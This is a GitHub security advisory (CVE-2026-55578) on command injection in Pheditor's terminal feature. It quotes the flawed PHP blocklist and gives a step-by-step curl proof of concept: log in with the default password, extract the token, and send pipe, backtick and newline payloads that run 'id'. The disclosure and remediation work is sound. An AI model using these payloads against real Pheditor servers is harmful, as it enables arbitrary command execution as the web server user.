Skip to content

Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection

High severity GitHub Reviewed Published Jun 14, 2026 in pheditor/pheditor • Updated Jul 16, 2026

Package

composer pheditor/pheditor (Composer)

Affected versions

>= 2.0.1, < 2.0.6

Patched versions

2.0.6

Description

Summary

The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: Pheditor 2.0.1+

The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:

$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');

The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, `, or newline (0x0A):

if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) {
    echo json_error("Illegal character(s) in command (& ; ||)\n");
    exit;
}

The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.

Bypass 1 — Single pipe |:
The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.

Bypass 2 — Backtick `:
Backtick is not in the blocklist. Payload echo `id` passes the blocklist and whitelist (starts with echo). The shell executes id inside backtick substitution.

Bypass 3 — Newline 0x0A:
A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.

PoC

Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.

Setup:

git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &

Authenticate (default password admin):

curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')

Bypass 1 (pipe |):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls | id" \
  --data-urlencode "dir="

Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...}id output proves RCE.

Bypass 2 (backtick):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

Expected: Same id output in response.

Bypass 3 (newline 0x0A):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode $'command=ls\nid' \
  --data-urlencode "dir="

Expected: Same id output in response.

Control (blocked command without bypass):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=whoami" \
  --data-urlencode "dir="

Expected: {"error":true,"message":"Command not allowed..."} — allowlist enforced.

Cleanup:

kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed $() substitution but three additional shell metacharacters remain unblocked.

Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.

Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).

Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.

References

@hamidsamak hamidsamak published to pheditor/pheditor Jun 14, 2026
Published to the GitHub Advisory Database Jul 16, 2026
Reviewed Jul 16, 2026
Last updated Jul 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-55578

GHSA ID

GHSA-wg4w-wr5q-6vjc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.